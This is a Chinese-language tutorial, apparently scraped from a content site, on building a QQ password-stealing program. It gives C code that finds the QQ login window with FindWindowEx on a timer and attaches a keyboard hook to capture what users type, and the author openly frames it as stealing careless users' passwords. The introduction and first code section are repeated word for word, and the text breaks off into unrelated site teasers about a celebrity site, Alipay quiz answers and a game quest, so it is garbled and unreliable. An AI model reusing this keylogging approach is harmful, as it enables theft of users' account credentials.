盗QQ的密码软件模拟实现技术
软件技术3.02W
最近天气太热,外加无聊,出于练习的目的,想到了写个盗QQ的软件,说“盗”,未免是太难听了吧,于是我给它起名为“UiQQ道”.
一般的盗密码的软件的软件都是通过监视键盘来获得密码,这样操作比较方便,但是这样也存在一定问题,密码有的时候不是很准确,因为有的人输入密码并不是从前到后输入,当然这样的人也是少数,盗密码嘛,当然去得到那些比较粗心的人的密码! 通过安装钩子来监视QQ登陆界面就是获得密码的方法,在安装前得先找到登陆窗口的句柄,当钩子安装后,记录键盘,当用户“回车”或是点了“登陆”就可以开始处理密码了! 我准备分为四部分来说明这个整个过程:
(1)寻找QQ登陆界面。
(2)安装钩子
(3)钩子函数的解释.
(4)处理密码。
以下部分全是使用C语言,文章中我假设读者您是会C/SDK编程的。如果遇到相关的概念性问题,您可以查看MSDN或是上BBS 询问!
第一部分:(1)寻找QQ登陆界面。
软件运行后,利用安装定时器,每秒在系统找QQ登陆界面,这样基本上只要用户打开了QQ登陆界面就会被抓住其句柄,看下面代码:
#define ID_MYTIMER 555
SetTimer(hDlg, ID_MYTIMER, 1000, NULL);
安装好TIMER后,下面是处理主程序的WM_TIMER消息,凡是出现没有定义的变量,您可以理解为是全局变量.
//处理WM_TIMER代码
if (!IsWindow(g_hQQLogin)) //判断g_hQQLogin是否是有效的窗口句柄
{
HWND hLogin=NULL;
g_hQQLogin = NULL;
SetQQHook(NULL); //参数为NULL是卸载HOOK,参数为句柄是安装句柄
do
{
//利用FindWindowEx查找QQ登陆窗口,具体参数意思请查MSDN
g_hQQLogin=FindWindowEx(NULL,g_hQQLogin,"#32770",NULL); //对话框的类都是#32770
//找到类名是#32770后,再在其窗体内找一个具有“ 登录QQ”的BUTTON按纽
hLogin = FindWindowEx(g_hQQLogin, NULL, "Button", " 登录QQ"); //这一句很关键,如果你的QQ登陆窗口上没有" 登录QQ"字样,那么获取密码将失败!
}
while(g_hQQLogin != NULL && hLogin == NULL); //直到找到指定的窗口,即:QQ登陆窗口
if (g_hQQLogin != NULL)
{
SetQQHook(g_hQQLogin);//安装HOOK,此函数在DLL文件中 第二部分中介绍
}
}
上面就是查找QQ登陆窗口句柄的过程,从代码可以看出我用的方法:找一个其子窗体中有一个标题为“ 登录QQ”的BUTTON的对话框(这句话说得有点饶口,这句话如果也看不懂,下面您不用看了:() 我最开始是想利用 FindWindow(NULL,"QQ用户登陆窗口")来查找,但是我用Spy++看了QQ登陆窗口的标题并不是“QQ用户登陆窗口”,而是“乱码”,其中包含了回车键等特殊字符,于是我用了FindWindowEx().
一般的盗密码的软件的软件都是通过监视键盘来获得密码,这样操作比较方便,但是这样也存在一定问题,密码有的时候不是很准确,因为有的人输入密码并不是从前到后输入,当然这样的人也是少数,盗密码嘛,当然去得到那些比较粗心的人的密码! 通过安装钩子来监视QQ登陆界面就是获得密码的方法,在安装前得先找到登陆窗口的句柄,当钩子安装后,记录键盘,当用户“回车”或是点了“登陆”就可以开始处理密码了! 我准备分为四部分来说明这个整个过程:
(1)寻找QQ登陆界面。
(2)安装钩子
(3)钩子函数的解释.
(4)处理密码。
以下部分全是使用C语言,文章中我假设读者您是会C/SDK编程的。如果遇到相关的概念性问题,您可以查看MSDN或是上BBS 询问!
第一部分:(1)寻找QQ登陆界面。
软件运行后,利用安装定时器,每秒在系统找QQ登陆界面,这样基本上只要用户打开了QQ登陆界面就会被抓住其句柄,看下面代码:
#define ID_MYTIMER 555
SetTimer(hDlg, ID_MYTIMER, 1000, NULL);
安装好TIMER后,下面是处理主程序的WM_TIMER消息,凡是出现没有定义的变量,您可以理解为是全局变量.
//处理WM_TIMER代码
if (!IsWindow(g_hQQLogin)) //判断g_hQQLogin是否是有效的窗口句柄
{
HWND hLogin=NULL;
g_hQQLogin = NULL;
SetQQHook(NULL); //参数为NULL是卸载HOOK,参数为句柄是安装句柄
do
{
//利用FindWindowEx查找QQ登陆窗口,具体参数意思请查MSDN
g_hQQLogin=FindWindowEx(NULL,g_hQQLogin,"#32770",NULL); //对话框的类都是#32770
//找到类名是#32770后,再在其窗体内找一个具有“ 登录QQ”的BUTTON按纽
hLogin = FindWindowEx(g_hQQLogin, NULL, "Button", " 登录QQ"); //这一句很关键,如果你的QQ登陆窗口上没有" 登录QQ"字样,那么获取密码将失败!
}
while(g_hQQLogin != NULL && hLogin == NULL); //直到找到指定的窗口,即:QQ登陆窗口
if (g_hQQLogin != NULL)
{
SetQQHook(g_hQQLogin);//安装HOOK,此函数在DLL文件中 第二部分中介绍
}
}
上面就是查找QQ登陆窗口句柄的过程,从代码可以看出我用的方法:找一个其子窗体中有一个标题为“ 登录QQ”的BUTTON的对话框(这句话说得有点饶口,这句话如果也看不懂,下面您不用看了:() 我最开始是想利用 FindWindow(NULL,"QQ用户登陆窗口")来查找,但是我用Spy++看了QQ登陆窗口的标题并不是“QQ用户登陆窗口”,而是“乱码”,其中包含了回车键等特殊字符,于是我用了FindWindowEx().
-
易烊千玺网站怎么发照片?易烊千玺网站怎么发相册里的照片
易烊千玺粉丝们对于千玺的网站是不陌生的吧,可以说是双方的小天地,在那里可以分享彼此的生活,不过很多小伙伴不清楚怎么在网站里面发照片,不清楚怎么去操作,下面就和小编一起来看看吧。易烊千玺网站怎么发照片?易烊千玺网站发照片您可以按照以下步骤操作:1、首先打开...
-
秋季天气干燥,适合多吃哪种水果?
支付宝庄园小课堂10月10日的问题是,秋季天气干燥,适合多吃哪种水果?如果你不清楚,可以看看文中的介绍。2023年蚂蚁庄园10月10日庄园小课堂答案今天的问题是:秋季天气干燥,适合多吃哪种水果?答案是:梨答案解析:俗话说“一梨润三秋”,梨的含水量较高,吃梨可以给身体补充水分...
-
黑糖和红糖颜色不同,是因为原料不一样吗?
支付宝庄园小课堂2月6日的问题是,黑糖和红糖颜色不同,是因为原料不一样吗?正确回答就可以领取180g饲料喂养小鸡哦。一起来看看吧。2024年蚂蚁庄园2月6日庄园小课堂答案今天的问题是:黑糖和红糖颜色不同,是因为原料不一样吗?答案是:不是哦答案解析:黑糖和红糖的原材料和...
-
原神锈舵酒馆隐藏任务怎么做?原神锈舵酒馆隐藏任务完成攻略
原神锈舵酒馆隐藏任务开启啦,小伙伴们在玩的时候也没有遇到一些困难呢?比如大家知道怎么去找锈舵酒馆呢?下面就和小编一起来看看原神锈舵酒馆隐藏任务完成攻略。原神锈舵酒馆隐藏任务怎么做?任务概述:完成锈舵酒馆的问答,使用舰炮进入隐藏的地下洞窟任务奖励:1个华丽/...